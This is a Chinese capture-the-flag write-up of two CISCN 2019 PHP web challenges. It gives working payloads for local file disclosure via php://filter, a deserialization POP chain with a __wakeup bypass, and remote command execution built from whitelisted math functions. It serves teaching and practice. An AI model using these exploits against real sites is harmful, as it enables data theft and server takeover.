JustSoso

打开题目查看源代码:

根据提示猜测是文件包含漏洞,并且要求读取hint.php,尝试通过伪协议可以读取到源码:

?file=php://filter/convert.base64-encode/resource=index.php
<?php
error_reporting(0); 
$file = $_GET["file"]; 
$payload = $_GET["payload"];
if(!isset($file)){
    echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
    die('hack attacked!!!');
}
@include($file);
if(isset($payload)){  
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    foreach($query as $value){
        if (preg_match("/flag/",$value)) { 
            die('stop hacking!');
            exit();
        }
    }
    $payload = unserialize($payload);
}else{ 
   echo "Missing parameters"; 
} 
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->

审计下代码:
要求传入$file和$payload,$file中不能出现flag,传入后会包含传入的$file,然后验证传入的payload中不能有flag,成功后会对$payload进行反序列化操作。

?file=php://filter/convert.base64-encode/resource=hint.php
<?php  
class Handle{ 
    private $handle;  
    public function __wakeup(){
        foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
    public function __construct($handle) { 
        $this->handle = $handle; 
    } 
    public function __destruct(){
        $this->handle->getFlag();
    }
}

class Flag{
    public $file;
    public $token;
    public $token_flag;
 
    function __construct($file){
        $this->file = $file;
        $this->token_flag = $this->token = md5(rand(1,10000));
    }
    
    public function getFlag(){
        $this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
        {
            if(isset($this->file)){
                echo @highlight_file($this->file,true); 
            }  
        }
    }
}

预期解法

审计hint.php,构造了两个类,再结合index中的反序列化操作,应该是利用反序列化漏洞。
接下类就是根据类,来构造pop利用链,Flag类的getFlag()函数会把传入的$file打印出来,这就是我们利用的地方了,然后发现Handle类的__destruct()魔法函数会调用getFlag()函数,因此pop链很清晰了,把Flag()类作为Handle类的handle参数的值传入就可以调用了。

还存在两处需要绕过的地方,看到Flag()类,首先对$token和$token_flag赋相等的值为md5(rand(1,10000)),当调用getFlag()函数时对$token_flag重新赋值,但是还要验证$this->token === $this->token_flag 才可以 打印传入的文件,这里我最先想到的方法是引用赋值,也就是构造的时候令$this->token =& $this->token_flag

当反序列化的时候首先会调用wake_up函数,会把传入的参数值替换为null,绕过wake_up, 利用成员属性数目大于实际数目时可绕过该函数。

构造payload:

<?php
class Handle{ 
    private $handle;
    public function __construct() { 
        $this->handle =new Flag;
    } 
    public function __destruct() {
        $this->handle->getFlag();
    }
}
class Flag{
    public $file='flag.php';
    public $token;
    public $token_flag;
    function __construct(){
    $this ->token =& $this ->token_flag;
    }
}
$s = new Handle;
echo serialize($s);
//O:6:"Handle":1:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

//O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

index还存在一个waf,传入的$payload里不能存在flag,绕过这里利用parse_url函数的解析bug绕过,最终的payload:

xxxxxxx///index.php?file=hint.php&amp;payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

其他解法:

赛后交流的时候@Hu3sky师傅说直接爆破也可以,即传入$this->token为rand(1,10000)的MD5,然后再bp模块爆破,进程大点也很快拿flag。
POC:

<?php  
class Handle{ 
    private $handle;  
    public function __wakeup(){
        foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
    public function __construct($handle) { 
        $this->handle = $handle; 
    } 
    public function __destruct(){
        $this->handle->getFlag();
    }
}
class Flag{
    public $file='flag.php';
    public $token;
    public $token_flag;
}

$s = new Flag();
$s -> token = 'b706835de79a2b4e80506f582af3676a';
$s -> token_flag = '666';
$h = new Handle($s);
$v = serialize($h);
echo urlencode($v);
/* 
O:6:"Handle":1:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"b706835de79a2b4e80506f582af3676a";s:10:"token_flag";s:3:"666";}}
*/
/*
O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"b706835de79a2b4e80506f582af3676a";s:10:"token_flag";s:3:"666";}}
*/

用bp爆破就可以了。

还有解法就是包含session文件。

love_math

很好的一个题目,比赛的时候没有做出来,赛后看了很多师傅的WP,本地搭建环境复现总结下。

<?php 
error_reporting(0); 
//听说你很喜欢数学,不知道你是否爱它胜过爱flag 
if(!isset($_GET['c'])){ 
    show_source(__FILE__); 
}else{ 
    //例子 c=20-1 
    $content = $_GET['c']; 
    if (strlen($content) >= 80) { 
        die("太长了不会算"); 
    } 
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; 
    foreach ($blacklist as $blackitem) { 
        if (preg_match('/' . $blackitem . '/m', $content)) { 
            die("请不要输入奇奇怪怪的字符"); 
        } 
    } 
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp 
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); 
    foreach ($used_funcs[0] as $func) { 
        if (!in_array($func, $whitelist)) { 
            die("请不要输入奇奇怪怪的函数"); 
        } 
    } 
    //帮你算出答案 
    eval('echo '.$content.';');
}

审计代码限制参数c长度小于80,并且限制了不能包含空格、制表符、换行符、单引号,双引号、分引号、]和],并且只能用$whitelist 中给出的函数,满足条件后最终会执行eval('echo '.$content.';');,限制条件、命令长度的命令执行题目。

这里用的是给出的函数中base_convert函数:

base_convert — 在任意进制之间转换数字

base_convert ( string $number , int $frombase , int $tobase ) : string

返回一字符串,包含 number 以 tobase 进制的表示。number 本身的进制由 frombase 指定。frombase 和 tobase 都只能在 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。

通过看文档可以知道base_convert函数最高可转换36进制,因此可以转换得到数字0-9和26个小写字母,参照以前命令执行的思路,这些字符经过异或可以得到大量字符。

先构造下payload执行system('ls');:

<?php
echo base_convert('system',36,10);
echo base_convert('ls',36,10);

paylaod:base_convert(1751504350,10,36)(base_convert(784,10,36))

可以看到命令执行成功。

接下来就是 cat flag.php也就是读取flag.php,这里参考@Smi1e师傅的思路,想要读取有三思路:

  • 利用readfile函数读取文件,但是要想办法得到flag.php中的.
  • 利用system等命令执行函数和通配符读取文件,但是要想办法得到通配符*
  • 利用$_GET变量传入参数读文件

方法一

因为字符限制80,所以要尽可能控制字符长度小,可以传入一个变量,白名单中最小的为pi,所以可以把值赋值给$pi.
要构造:

readfile(flag.php)

base_convert无法直接得到.,其他的都可以得到:

<?php
echo base_convert('readfile',36,10);
echo base_convert('flag',36,10);
echo base_convert('php',36,10);
//2146934604002
//727432
//33037

给的函数中dechex函数可以把 十进制转换为十六进制,再异或出hex2bin把16进制转化为.
利用 bin2hex.转化为16进制,然后hexdec转化为10进制,传入10进制,利用dechex转为16进制,base_convert函数得到hex2bin把16进制转化为字符。

<?php
echo bin2hex('.');
echo hexdec('2e');
echo base_convert('hex2bin',36,10);
//2e
//46
//37907361743

所以最终的payload:

$pi=base_convert(2146934604002,10,36)($pi(727432,10,36).$pi(37907361743,10,36)(dechex(46)).$pi(33037,10,36));

发现太长了:

继续尝试缩减还是没用。

方法二

构造:

system(cat *);

*我们同样可以用方法一的方法获取:

<?php
echo bin2hex('cat *');
echo hexdec('636174202a');
echo base_convert('system',36,10);
//636174202a
//426836762666
//1751504350

最终payload:

($pi=base_convert)(1751504350,10,36)($pi(37907361743,10,36)(dechex(426836762666)))

发现还是太长了,另外寻找一个命令来代替cat,发现nl可以
payload:

($pi=base_convert)(1751504350,10,36)($pi(37907361743,10,36)(dechex(1852579882)))


长度80还是不可以,按照Smi1e师傅的思路,fuzz hex2bin 进制数,让其变得更短。

echo base_convert('hex2bin',34,14);
//1438255411

这种进制下更短,payload:

($pi=base_convert)(1751504350,10,36)($pi(1438255411,14,34)(dechex(1852579882)))

得到flag:

方法三

构造$_GET传入参数读取文件,可以通过异或来得到。遍历字符串按位异或可以得到:
_GET:

1^n=_
5^r=G
1^t=E
7^c=T

过滤了[],利用{}取值
payload:

c=$pi=base_convert;$pi=$pi(53179,10,36)^$pi(1109136,10,36);($$pi){2}($$pi{1})

2、1分别传入命令和要读的文件就可以了:
payload:

1=flag.php&2=readfile&c=$pi=base_convert;$pi=$pi(53179,10,36)^$pi(1109136,10,36);($$pi){2}($$pi{1})
1=flag.php&2=show_source&c=$pi=base_convert;$pi=$pi(53179,10,36)^$pi(1109136,10,36);($$pi){2}($$pi{1})


另外异或这里还可以用以上构造 hex2bin的思路,把_GET hexdec转化,构造payload:

1=flag.php&2=readfile&c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){2}($$pi{1})

方法四

利用@一叶飘零师傅提到的无参数RCE题目中的getallheaders(),可以把执行的命令放在HTTP头部,本地复现没用成功。

Referer

[1].国赛love_math题解
[2].ciscn2019-web-wp